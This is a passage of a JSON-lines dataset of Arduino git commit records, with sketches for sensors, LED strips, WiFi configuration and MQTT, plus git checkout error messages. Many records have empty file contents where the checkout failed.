\n }\n }\n}\n\n\/***************** FUNTCIONS *****************\/\nbyte voltage2byte(float v){\n return v*255\/5.f;\n} \n\nfloat midi2angle(byte m){\n return 180\/127.f*m;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ensembles\/EnsembleThree\/firmeware\/EnsembleThree_firmeware\/EnsembleThree_firmeware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2e3d16138f67a0ee9c9459a149ee1c82796cf6ff","subject":"return bool for userdetection","message":"return bool for userdetection\n","repos":"OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK,OAMK-Smart-Kitchen\/Smart-Fridge-OAMK","old_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino","new_file":"SmartKitchen-Emdebbed System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'SmartKitchen-Emdebbed' did not match any file(s) known to git\nerror: pathspec 'System\/Software\/Arduino\/Final_Main_Master\/Final_Main_Master.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e7494b66f0664c062643e63efa770cc0c30223a6","subject":"Ultrasonic sensor code","message":"Ultrasonic sensor code\n","repos":"MiDro\/midro.github.io,MiDro\/midro.github.io,MiDro\/midro.github.io","old_file":"code\/Ultrasonic_Sensor\/Ultrasonic_Sensor.ino","new_file":"code\/Ultrasonic_Sensor\/Ultrasonic_Sensor.ino","new_contents":"\/*\n* Ultrasonic Sensor HC-SR04 and Arduino Tutorial\n*\n* Crated by Dejan Nedelkovski,\n* www.HowToMechatronics.com\n*\n*\/\n\/\/ defines pins numbers\nconst int trigPin = 9;\nconst int echoPin = 10;\n\/\/ defines variables\nlong duration;\nint distance;\nvoid setup() {\npinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\npinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\nSerial.begin(9600); \/\/ Starts the serial communication\n}\nvoid loop() {\n\/\/ Clears the trigPin\ndigitalWrite(trigPin, LOW);\ndelayMicroseconds(2);\n\/\/ Sets the trigPin on HIGH state for 10 micro seconds\ndigitalWrite(trigPin, HIGH);\ndelayMicroseconds(10);\ndigitalWrite(trigPin, LOW);\n\/\/ Reads the echoPin, returns the sound wave travel time in microseconds\nduration = pulseIn(echoPin, HIGH);\n\/\/ Calculating the distance\ndistance= duration*0.034\/2;\n\/\/ Prints the distance on the Serial Monitor\nSerial.print(\"Distance: \");\nSerial.println(distance);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/Ultrasonic_Sensor\/Ultrasonic_Sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb64452e74f77049f52f34515310f6244355738e","subject":"added datalogger","message":"added datalogger\n","repos":"ChaitanyaBaweja\/BlackCloud,ChaitanyaBaweja\/BlackCloud","old_file":"Arduino\/SD Card\/Datalogger\/Datalogger.ino","new_file":"Arduino\/SD Card\/Datalogger\/Datalogger.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/SD' did not match any file(s) known to git\nerror: pathspec 'Card\/Datalogger\/Datalogger.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"42ecf1b162ded2c3128f138f09cb2e237c966546","subject":"Cerveau: Gyroscope - calcul de l'offset des angles de rotation du gyroscope","message":"Cerveau: Gyroscope - calcul de l'offset des angles de rotation du gyroscope\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino","new_file":"Module Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Gyroscope\/Gyroscope\/Gyroscope\/Gyroscope.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dbf91a4e8cbe82b1cc42c94ad85436930cf5b052","subject":"example: custom paramaters with load\/save settings","message":"example: custom paramaters with load\/save settings\n","repos":"tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager","old_file":"examples\/CustomParamsWithConfig\/CustomParamsWithConfig.ino","new_file":"examples\/CustomParamsWithConfig\/CustomParamsWithConfig.ino","new_contents":"\n#include <WiFiManager.h> \/\/ https:\/\/github.com\/tzapu\/WiFiManager\n#include <Arduino.h>\n#include <EEPROM.h>\n\n#define SETUP_PIN 0\n\nclass IPAddressParameter : public WiFiManagerParameter {\npublic:\n IPAddressParameter(const char *id, const char *placeholder, IPAddress address)\n : WiFiManagerParameter(\"\") {\n init(id, placeholder, address.toString().c_str(), 16, \"\", WFM_LABEL_BEFORE);\n }\n\n bool getValue(IPAddress &ip) {\n return ip.fromString(WiFiManagerParameter::getValue());\n }\n};\n\nclass IntParameter : public WiFiManagerParameter {\npublic:\n IntParameter(const char *id, const char *placeholder, long value, const uint8_t length = 10)\n : WiFiManagerParameter(\"\") {\n init(id, placeholder, String(value).c_str(), length, \"\", WFM_LABEL_BEFORE);\n }\n\n long getValue() {\n return String(WiFiManagerParameter::getValue()).toInt();\n }\n};\n\nclass FloatParameter : public WiFiManagerParameter {\npublic:\n FloatParameter(const char *id, const char *placeholder, float value, const uint8_t length = 10)\n : WiFiManagerParameter(\"\") {\n init(id, placeholder, String(value).c_str(), length, \"\", WFM_LABEL_BEFORE);\n }\n\n float getValue() {\n return String(WiFiManagerParameter::getValue()).toFloat();\n }\n};\n\nstruct Settings {\n float f;\n int i;\n char s[20];\n uint32_t ip;\n} sett;\n\n\nvoid setup() {\n pinMode(SETUP_PIN, INPUT_PULLUP);\n Serial.begin(9600); \n\n \/\/Delay to push SETUP button\n Serial.println(\"Press setup button\");\n for (int sec = 3; sec > 0; sec--) {\n Serial.print(sec);\n Serial.print(\"..\");\n delay(1000);\n }\n\n EEPROM.begin( 512 );\n EEPROM.get(0, sett);\n Serial.println(\"Settings loaded\");\n \n if (digitalRead(SETUP_PIN) == LOW) { \n \/\/ Button pressed \n Serial.println(\"SETUP\");\n\n WiFiManager wm;\n \n sett.s[19] = '\\0'; \/\/add null terminator at the end cause overflow\n WiFiManagerParameter param_str( \"str\", \"param_string\", sett.s, 20);\n FloatParameter param_float( \"float\", \"param_float\", sett.f);\n IntParameter param_int( \"int\", \"param_int\", sett.i);\n\n IPAddress ip(sett.ip);\n IPAddressParameter param_ip(\"ip\", \"param_ip\", ip);\n\n wm.addParameter( ¶m_str );\n wm.addParameter( ¶m_float );\n wm.addParameter( ¶m_int );\n wm.addParameter( ¶m_ip );\n\n \/\/SSID & password parameters already included\n wm.startConfigPortal();\n\n strncpy(sett.s, param_str.getValue(), 20);\n sett.s[19] = '\\0'; \n sett.f = param_float.getValue();\n sett.i = param_int.getValue();\n\n Serial.print(\"String param: \");\n Serial.println(sett.s);\n Serial.print(\"Float param: \");\n Serial.println(sett.f);\n Serial.print(\"Int param: \");\n Serial.println(sett.i, DEC);\n \n if (param_ip.getValue(ip)) {\n sett.ip = ip;\n\n Serial.print(\"IP param: \");\n Serial.println(ip);\n } else {\n Serial.println(\"Incorrect IP\");\n }\n\n EEPROM.put(0, sett);\n if (EEPROM.commit()) {\n Serial.println(\"Settings saved\");\n } else {\n Serial.println(\"EEPROM error\");\n }\n } \n else { \n Serial.println(\"WORK\");\n\n \/\/connect to saved SSID\n WiFi.begin(); \n\n \/\/do smth\n Serial.print(\"String param: \");\n Serial.println(sett.s);\n Serial.print(\"Float param: \");\n Serial.println(sett.f);\n Serial.print(\"Int param: \");\n Serial.println(sett.i, DEC);\n Serial.print(\"IP param: \");\n IPAddress ip(sett.ip);\n Serial.println(ip);\n }\n}\n\nvoid loop() {\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/CustomParamsWithConfig\/CustomParamsWithConfig.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6ec775410d85702d8234d812e150658673541afb","subject":"static variable white still changes for some reason","message":"static variable white still changes for some reason","repos":"katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400,katherinejlu\/ece3400","old_file":"code dump\/lab2\/averagingLineSensor.ino","new_file":"code dump\/lab2\/averagingLineSensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'code' did not match any file(s) known to git\nerror: pathspec 'dump\/lab2\/averagingLineSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9aa65e7be8609ea380e494d8e071626db30e76ca","subject":"added directories and file LSM303DLCH_accel_cal.ino for data acquisition.","message":"added directories and file LSM303DLCH_accel_cal.ino for data acquisition.\n","repos":"natecostello\/9-dof-sensor-calibration,natecostello\/9-dof-sensor-calibration,natecostello\/9-dof-sensor-calibration","old_file":"LSM303DLHC_cal\/LSM303DLCH_accel_cal\/LSM303DLCH_accel_cal.ino","new_file":"LSM303DLHC_cal\/LSM303DLCH_accel_cal\/LSM303DLCH_accel_cal.ino","new_contents":"\/\/ LSM303DLCH_accel_cal.ino\n\n\n\/\/ Arduino Wire library is required if I2Cdev I2CDEV_ARDUINO_WIRE implementation\n\/\/ is used in I2Cdev.h\n#include <Wire.h>\n\n\/\/ I2Cdev and LSM303DLHC must be installed as libraries, or else the .cpp\/.h files\n\/\/ for both classes must be in the include path of your project\n#include \"LSM303DLHC.h\"\n#include \"I2Cdev.h\"\n\nLSM303DLHC accelMag;\n\nint16_t ax, ay, az;\nint yx, yy, yz;\n\n\nvoid setup() {\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n Wire.begin();\n\n \/\/ initialize serial communication\n Serial.begin(9600);\n\n \/\/ initialize device\n Serial.println(\"DELETE BEFORE SAVING: Initializing I2C devices...\");\n accelMag.initialize();\n\n \/\/ verify connection\n Serial.println(\"DELETE BEFORE SAVING: Testing device connections...\");\n Serial.println(accelMag.testConnection() ? \"DELETE BEFORE SAVING: LSM303DLHC connection successful\" : \"DELETE BEFORE SAVING: LSM303DLHC connection failed\");\n\n \/\/ set scale to 2Gs. Note this corresponds to a scaling factor of 0.0000625F. Accuracy is to 4 decimals.\n accelMag.setAccelFullScale(2); \n\n \/\/ set accel data rate to 200hz\n accelMag.setAccelOutputDataRate(200);\n\n}\n\nvoid loop() {\n Serial.println(\"DELETE BEFORE SAVING: Allow device to warm up for a few minutes before proceeding.\");\n delay(1000);\n Serial.println(\"DELETE BEFORE SAVING: Align X-axis up, wait 10 seconds to allow stabilization, then send any key over serial to proceed\");\n while (not Serial.available()){\n delay(10);\n }\n\n \/\/format for datafile is Yx, Yy, Yz, Wx, Wy, Wz, 1\n \/\/for this orientation Yx = 1, Yy = 0, Yz = 0\n yx = 1;\n yy = 0;\n yz = 0;\n\n for (int x = 0; x < 50; x++) {\n accelMag.getAcceleration(&ax, &ay, &az);\n Serial.print(yx); Serial.print(',');\n Serial.print(yy); Serial.print(',');\n Serial.print(yz); Serial.print(',');\n Serial.print(ax * 0.0000625F, 4); Serial.print(',');\n Serial.print(ay * 0.0000625F, 4); Serial.print(',');\n Serial.print(az * 0.0000625F, 4); Serial.println();\n }\n\n Serial.println(\"DELETE BEFORE SAVING: Align X-axis down, wait 10 seconds to allow stabilization, then send any key over serial to proceed\");\n while (not Serial.available()){\n delay(10);\n }\n\n \/\/format for datafile is Yx, Yy, Yz, Wx, Wy, Wz, 1\n \/\/for this orientation Yx = -1, Yy = 0, Yz = 0\n yx = -1;\n yy = 0;\n yz = 0;\n\n for (int x = 0; x < 50; x++) {\n accelMag.getAcceleration(&ax, &ay, &az);\n Serial.print(yx); Serial.print(',');\n Serial.print(yy); Serial.print(',');\n Serial.print(yz); Serial.print(',');\n Serial.print(ax * 0.0000625F, 4); Serial.print(',');\n Serial.print(ay * 0.0000625F, 4); Serial.print(',');\n Serial.print(az * 0.0000625F, 4); Serial.println();\n }\n\n Serial.println(\"DELETE BEFORE SAVING: Align Y-axis up, wait 10 seconds to allow stabilization, then send any key over serial to proceed\");\n while (not Serial.available()){\n delay(10);\n }\n\n \/\/format for datafile is Yx, Yy, Yz, Wx, Wy, Wz, 1\n \/\/for this orientation Yx = 0, Yy = 1, Yz = 0\n yx = 0;\n yy = 1;\n yz = 0;\n\n for (int x = 0; x < 50; x++) {\n accelMag.getAcceleration(&ax, &ay, &az);\n Serial.print(yx); Serial.print(',');\n Serial.print(yy); Serial.print(',');\n Serial.print(yz); Serial.print(',');\n Serial.print(ax * 0.0000625F, 4); Serial.print(',');\n Serial.print(ay * 0.0000625F, 4); Serial.print(',');\n Serial.print(az * 0.0000625F, 4); Serial.println();\n }\n\n Serial.println(\"DELETE BEFORE SAVING: Align Y-axis down, wait 10 seconds to allow stabilization, then send any key over serial to proceed\");\n while (not Serial.available()){\n delay(10);\n }\n\n \/\/format for datafile is Yx, Yy, Yz, Wx, Wy, Wz, 1\n \/\/for this orientation Yx = 0, Yy = -1, Yz = 0\n yx = 0;\n yy = -1;\n yz = 0;\n\n for (int x = 0; x < 50; x++) {\n accelMag.getAcceleration(&ax, &ay, &az);\n Serial.print(yx); Serial.print(',');\n Serial.print(yy); Serial.print(',');\n Serial.print(yz); Serial.print(',');\n Serial.print(ax * 0.0000625F, 4); Serial.print(',');\n Serial.print(ay * 0.0000625F, 4); Serial.print(',');\n Serial.print(az * 0.0000625F, 4); Serial.println();\n }\n\n Serial.println(\"DELETE BEFORE SAVING: Align Z-axis up, wait 10 seconds to allow stabilization, then send any key over serial to proceed\");\n while (not Serial.available()){\n delay(10);\n }\n\n \/\/format for datafile is Yx, Yy, Yz, Wx, Wy, Wz, 1\n \/\/for this orientation Yx = 0, Yy = 0, Yz = 1\n yx = 0;\n yy = 0;\n yz = 1;\n\n for (int x = 0; x < 50; x++) {\n accelMag.getAcceleration(&ax, &ay, &az);\n Serial.print(yx); Serial.print(',');\n Serial.print(yy); Serial.print(',');\n Serial.print(yz); Serial.print(',');\n Serial.print(ax * 0.0000625F, 4); Serial.print(',');\n Serial.print(ay * 0.0000625F, 4); Serial.print(',');\n Serial.print(az * 0.0000625F, 4); Serial.println();\n }\n \n Serial.println(\"DELETE BEFORE SAVING: Align Z-axis down, wait 10 seconds to allow stabilization, then send any key over serial to proceed\");\n while (not Serial.available()){\n delay(10);\n }\n\n \/\/format for datafile is Yx, Yy, Yz, Wx, Wy, Wz, 1\n \/\/for this orientation Yx = 0, Yy = 0, Yz = -1\n yx = 0;\n yy = 0;\n yz = -1;\n\n for (int x = 0; x < 50; x++) {\n accelMag.getAcceleration(&ax, &ay, &az);\n Serial.print(yx); Serial.print(',');\n Serial.print(yy); Serial.print(',');\n Serial.print(yz); Serial.print(',');\n Serial.print(ax * 0.0000625F, 4); Serial.print(',');\n Serial.print(ay * 0.0000625F, 4); Serial.print(',');\n Serial.print(az * 0.0000625F, 4); Serial.println();\n }\n\n Serial.println(\"DELETE BEFORE SAVING: Data Acquisition Complete. Delete all lines marked as DELETE BEFORE SAVING.\");\n Serial.println(\"DELETE BEFORE SAVING: Save file as 'accelData.txt' and run octave\/matlab file to complete computation of calibration constants.\");\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LSM303DLHC_cal\/LSM303DLCH_accel_cal\/LSM303DLCH_accel_cal.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d7d875948fb420c8441bf028593746f16d53717c","subject":"Added additional visualizations","message":"Added additional visualizations\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"Sketches\/LED Board\/led_board_new\/led_board_new.ino","new_file":"Sketches\/LED Board\/led_board_new\/led_board_new.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/LED' did not match any file(s) known to git\nerror: pathspec 'Board\/led_board_new\/led_board_new.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddeb91d6d7bae45141e43500e0687e943b8796a5","subject":"First working commit","message":"First working commit\n","repos":"nishanthkarthik\/micro-fusion,nishanthkarthik\/micro-fusion","old_file":"mpuslave\/mpuslave.ino","new_file":"mpuslave\/mpuslave.ino","new_contents":"#pragma region Assemblies\n#define Log(x) Serial.println(x)\n#define LED_PIN 13\n#include <inttypes.h>\n#include \"I2Cdev.h\"\n#include \"MPU6050_6Axis_MotionApps20.h\"\n#if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n#include \"Wire.h\"\n#endif\n#pragma endregion\n\n#pragma region GlobalVars\nMPU6050 mpu(0x68);\nbool blinkState = false;\n\/\/ MPU control\/status vars\nbool dmpReady = false; \/\/ set true if DMP init was successful\nuint8_t mpuIntStatus; \/\/ holds actual interrupt status byte from MPU\nuint8_t devStatus; \/\/ return status after each device operation (0 = success, !0 = error)\nuint16_t packetSize; \/\/ expected DMP packet size (default is 42 bytes)\nuint16_t fifoCount; \/\/ count of all bytes currently in FIFO\nuint8_t fifoBuffer[64]; \/\/ FIFO storage buffer\n\/\/ orientation\/motion vars\nQuaternion q; \/\/ [w, x, y, z] quaternion container\nVectorInt16 aa; \/\/ [x, y, z] accel sensor measurements\nVectorInt16 aaReal; \/\/ [x, y, z] gravity-free accel sensor measurements\nVectorInt16 aaWorld; \/\/ [x, y, z] world-frame accel sensor measurements\nVectorFloat gravity; \/\/ [x, y, z] gravity vector\nfloat euler[3]; \/\/ [psi, theta, phi] Euler angle container\nfloat ypr[3]; \/\/ [yaw, pitch, roll] yaw\/pitch\/roll container and gravity vector\n\/\/Interrupt\nvolatile bool mpuInterrupt = false; \/\/ indicates whether MPU interrupt pin has gone high\n#pragma endregion\n\nvoid dmpDataReady()\n{\n\tmpuInterrupt = true;\n}\n\nvoid setup()\n{\n \/\/Configure Serial Port\n Serial.begin(115200);\n \/\/ join I2C bus (I2Cdev library doesn't do this automatically)\n #if I2CDEV_IMPLEMENTATION == I2CDEV_ARDUINO_WIRE\n \tWire.begin();\n \t\/\/TWBR = 24; \/\/ 400kHz I2C clock (200kHz if CPU is 8MHz)\n #elif I2CDEV_IMPLEMENTATION == I2CDEV_BUILTIN_FASTWIRE\n \tFastwire::setup(400, true);\n #endif\n \t\/\/ initialize device\n \tLog(\"Initializing I2C devices...\\n\");\n \tmpu.initialize();\n \t\/\/ verify connection\n \tLog(\"Testing device connections...\\n\");\n \tLog(mpu.testConnection() ? (\"MPU6050 connection successful\\n\") : (\"MPU6050 connection failed\\n\"));\n \t\/\/ load and configure the DMP\n \tLog(\"Initializing DMP...\\n\");\n \tdevStatus = mpu.dmpInitialize();\n \t\/\/ supply your own gyro offsets here, scaled for min sensitivity\n \t\/*mpu.setXGyroOffset(220);\n \tmpu.setYGyroOffset(76);\n \tmpu.setZGyroOffset(-85);\n \tmpu.setZAccelOffset(1788);*\/\n \t\/\/ make sure it worked (returns 0 if so)\n \tif (devStatus == 0)\n \t{\n \t\t\/\/ turn on the DMP, now that it's ready\n \t\tLog(\"Enabling DMP...\\n\");\n \t\tmpu.setDMPEnabled(true);\n\n \t\t\/\/ enable Arduino interrupt detection\n \t\tLog(\"Enabling interrupt detection (Arduino external interrupt A1)...\\n\");\n attachInterrupt(0, dmpDataReady, RISING);\n \t\tmpuIntStatus = mpu.getIntStatus();\n\n \/\/ set our DMP Ready flag so the main loop() function knows it's okay to use it\n \t\tLog(\"DMP ready! Waiting for first interrupt...\\n\");\n \t\tdmpReady = true;\n\n \t\t\/\/ get expected DMP packet size for later comparison\n \t\tpacketSize = mpu.dmpGetFIFOPacketSize();\n \t}\n \telse\n \t{\n \t\t\/\/ ERROR!\n \t\t\/\/ 1 = initial memory load failed\n \t\t\/\/ 2 = DMP configuration updates failed\n \t\t\/\/ (if it's going to break, usually the code will be 1)\n \t\tSerial.print(F(\"DMP Initialization failed (code \"));\n Serial.print(devStatus);\n Serial.println(F(\")\"));\n \t}\n\n \t\/\/set LED to out\n \tpinMode(LED_PIN, OUTPUT);\n}\n\nvoid loop()\n{\n \/\/ if programming failed, don't try to do anything\n \tif (!dmpReady) return;\n\n \t\/\/ wait for MPU interrupt or extra packet(s) available\n while (!mpuInterrupt && fifoCount < packetSize);\n\n \t\/\/ reset interrupt flag and get INT_STATUS byte\n \tmpuInterrupt = false;\n \tmpuIntStatus = mpu.getIntStatus();\n \t\/\/ get current FIFO count\n \tfifoCount = mpu.getFIFOCount();\n \t\/\/ check for overflow (this should never happen unless our code is too inefficient)\n \tif ((mpuIntStatus & 0x10) || fifoCount == 1024)\n \t{\n \t\t\/\/ reset so we can continue cleanly\n \t\tmpu.resetFIFO();\n \t\tLog(\"FIFO overflow!\\n\");\n\n \t\t\/\/ otherwise, check for DMP data ready interrupt (this should happen frequently)\n \t}\n \telse if (mpuIntStatus & 0x02)\n \t{\n \t\t\/\/ wait for correct available data length, should be a VERY short wait\n \t\twhile (fifoCount < packetSize) fifoCount = mpu.getFIFOCount();\n\n \t\t\/\/ read a packet from FIFO\n \t\tmpu.getFIFOBytes(fifoBuffer, packetSize);\n\n \t\t\/\/ track FIFO count here in case there is > 1 packet available\n \t\t\/\/ (this lets us immediately read more without waiting for an interrupt)\n \t\tfifoCount -= packetSize;\n\n \t\t\/\/Start reading values\n \t\t{\n \t\t\tmpu.dmpGetQuaternion(&q, fifoBuffer);\t\t\t\/\/Quaternion\n \t\t\tmpu.dmpGetAccel(&aa, fifoBuffer);\t\t\t\t\/\/Total Acceleration with gravity\n \t\t\tmpu.dmpGetGravity(&gravity, &q);\t\t\t\t\/\/Gravity vector\n \t\t\tmpu.dmpGetLinearAccel(&aaReal, &aa, &gravity);\t\/\/Real acceleration without gravity\n \t\t\tmpu.dmpGetYawPitchRoll(ypr, &q, &gravity);\n \t\t\tmpu.dmpGetEuler(euler, &q);\n \t\t\t\/\/Log(\"gravity # %f\\t%f\\t%f\\n\", gravity.x, gravity.y, gravity.z);\n \t\t\t\/\/Log(\"accel # %f\" \"\\t%f\" \"\\t%f\" \"\\n\", (float)aa.x \/ 16384 * 2, (float)aa.y \/ 16384 * 2, (float)aa.z \/ 16384 * 2);\n \t\t\t\/\/Log(\"ypr # %f\\t%f\\t%f\\n\", ypr[0], ypr[1], ypr[2]);\n \t\t\t\/\/Log(\"euler # %f\\t%f\\t%f\\n\", euler[0] \/ 3.14159265 * 180, euler[1] \/ 3.14159265 * 180, euler[2] \/ 3.14159265 * 180);\n Serial.print(euler[0] \/ 3.14159265 * 180);\n Serial.print('\\t');\n Serial.print(euler[1] \/ 3.14159265 * 180);\n Serial.print('\\t');\n Serial.print(euler[2] \/ 3.14159265 * 180);\n Serial.println('\\t');\n \t\t}\n \t}\n \t\/\/ blink LED to indicate activity\n \tblinkState = !blinkState;\n \tdigitalWrite(LED_PIN, blinkState);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mpuslave\/mpuslave.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"e04c4953d4428ba73a018028243b64bfb5e7c93a","subject":"Included the Robot_Lights_Display file.","message":"Included the Robot_Lights_Display file.\n\nAdd additional displays with methods.\n","repos":"Spartronics4915\/2014-Aerial-Assist,Gnewt\/bainbridgefirst","old_file":"Robot_Lights_Display\/Robot_Lights_Display.ino","new_file":"Robot_Lights_Display\/Robot_Lights_Display.ino","new_contents":"#include \"FastLED.h\"\n\n\/\/ How many leds in your strip?\n#define NUM_LEDS 80\n\n\/\/ For led chips like Neopixels, which have a data line, ground, and power, you just\n\/\/ need to define DATA_PIN. For led chipsets that are SPI based (four wires - data, clock,\n\/\/ ground, and power), like the LPD8806, define both DATA_PIN and CLOCK_PIN\n#define DATA_PIN 11\n#define CLOCK_PIN 13\n\n#define YELLOW CRGB(255, 90, 0)\n#define BLUE CRGB(0, 50, 170)\n\n\/\/ Define the array of leds\nCRGB leds[NUM_LEDS];\n\nvoid setup() { \n\tFastLED.addLeds<WS2801, DATA_PIN, CLOCK_PIN, RGB>(leds, NUM_LEDS);\n}\n\nvoid loop() {\n for (int c = 2; c > 0; c--) {\n cylon(YELLOW, BLUE);\n }\n for (int i=0 ; i < NUM_LEDS; i++) {\n leds[i] = CRGB::Red;\n }\n FastLED.show();\n delay(2000);\n}\n\n\nvoid cylon(CRGB colorOne, CRGB colorTwo) {\n for(int i = 0; i < NUM_LEDS; i++) {\n\t\t\/\/ Set the i'th led to red \n\t\tleds[i] = colorOne;\n\t\t\/\/ Show the leds\n\t\tFastLED.show();\n\t\t\/\/ now that we've shown the leds, reset the i'th led to black\n\t\tleds[i] = colorTwo;\n\t\t\/\/ Wait a little bit before we loop around and do it again\n\t\tdelay(30);\n\t}\n\n\t\/\/ Now go in the other direction. \n\tfor(int i = NUM_LEDS-1; i >= 0; i--) {\n\t\t\/\/ Set the i'th led to red \n\t\tleds[i] = colorTwo;\n\t\t\/\/ Show the leds\n\t\tFastLED.show();\n\t\t\/\/ now that we've shown the leds, reset the i'th led to black\n\t\tleds[i] = colorOne;\n\t\t\/\/ Wait a little bit before we loop around and do it again\n\t\tdelay(30);\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Robot_Lights_Display\/Robot_Lights_Display.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"029eee956cdb885b5ea909b1ab176f62ea3f4b2d","subject":"add io time interval example","message":"add io time interval example\n","repos":"adafruit\/Adafruit_MQTT_Library","old_file":"examples\/adafruitio_time_esp8266\/adafruitio_time_esp8266.ino","new_file":"examples\/adafruitio_time_esp8266\/adafruitio_time_esp8266.ino","new_contents":"#include <ESP8266WiFi.h>\n#include \"Adafruit_MQTT.h\"\n#include \"Adafruit_MQTT_Client.h\"\n\n\/************************* WiFi Access Point *********************************\/\n#define WLAN_SSID \"network\"\n#define WLAN_PASS \"password\"\n\n\/************************* Adafruit.io Setup *********************************\/\n#define AIO_SERVER \"io.adafruit.com\"\n#define AIO_SERVERPORT 8883\n#define AIO_USERNAME \"user\"\n#define AIO_KEY \"key\"\n\nWiFiClientSecure client;\nAdafruit_MQTT_Client mqtt(&client, AIO_SERVER, AIO_SERVERPORT, AIO_USERNAME, AIO_USERNAME, AIO_KEY);\n\nAdafruit_MQTT_Subscribe timefeed = Adafruit_MQTT_Subscribe(&mqtt, \"time\/seconds\");\n\n\/\/ set timezone offset from UTC\nint timeZone = -4; \/\/ UTC - 4 eastern daylight time (nyc)\nint interval = 4; \/\/ trigger every X hours\nint hour = 0; \/\/ current hour\n\nvoid timecallback(uint32_t current) {\n\n \/\/ stash previous hour\n int previous = hour;\n\n \/\/ adjust to local time zone\n current += (timeZone * 60 * 60);\n\n \/\/ calculate current hour\n hour = (current \/ 60 \/ 60) % 24;\n\n \/\/ only trigger on interval\n if((hour != previous) && (hour % interval) == 0) {\n Serial.println(\"Run your code here\");\n }\n\n}\n\nvoid setup() {\n\n Serial.begin(115200);\n delay(10);\n\n Serial.print(F(\"Adafruit IO Time Demo\"));\n\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(F(\".\"));\n }\n Serial.println(F(\" WiFi connected.\"));\n\n timefeed.setCallback(timecallback);\n mqtt.subscribe(&timefeed);\n\n}\n\nvoid loop() {\n\n int8_t code;\n\n \/\/ connect to adafruit io if not connected\n if(! mqtt.connected()) {\n\n Serial.print(\"Connecting to Adafruit IO... \");\n if((code = mqtt.connect()) != 0) {\n Serial.println(mqtt.connectErrorString(code));\n while(1);\n }\n Serial.println(\"connected!\");\n\n }\n\n mqtt.processPackets(1000);\n mqtt.ping();\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/adafruitio_time_esp8266\/adafruitio_time_esp8266.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c179c6d2ad2f2b5dc4b88afb007aeabdb5ad29da","subject":"Add DCS Alpha 1","message":"Add DCS Alpha 1\n\nTry to make a regular polling every 10m rather then polling in every\nloop\n","repos":"Dimasdanz\/BiotechProject,Dimasdanz\/BiotechProject","old_file":"BiotechHardware\/dcs\/dcs_alpha1\/dcs_alpha1.ino","new_file":"BiotechHardware\/dcs\/dcs_alpha1\/dcs_alpha1.ino","new_contents":"#include <SPI.h>\n#include <Ethernet.h>\n#include <Keypad.h>\n#include <Wire.h> \n#include <LiquidCrystal_I2C.h>\n#include <Servo.h>\n\nconst byte ROWS = 4;\nconst byte COLS = 3;\nchar keys[ROWS][COLS] = {\n {'1','2','3'},{'4','5','6'},{'7','8','9'},{'*','0','#'}\n};\n\nbyte rowPins[ROWS] = {2, 3, 4, 5};\nbyte colPins[COLS] = {6, 7, 8};\n\nKeypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, ROWS, COLS );\nLiquidCrystal_I2C lcd(0x27,20,4);\nEthernetClient client;\n\nconst char server[] = \"192.168.1.3\";\nbyte mac[] = {0x90, 0xA2, 0xDA, 0x0E, 0xF5, 0x30};\nIPAddress ip(192,168,3,3);\n\nconst int sensor = A2;\nconst int solenoid 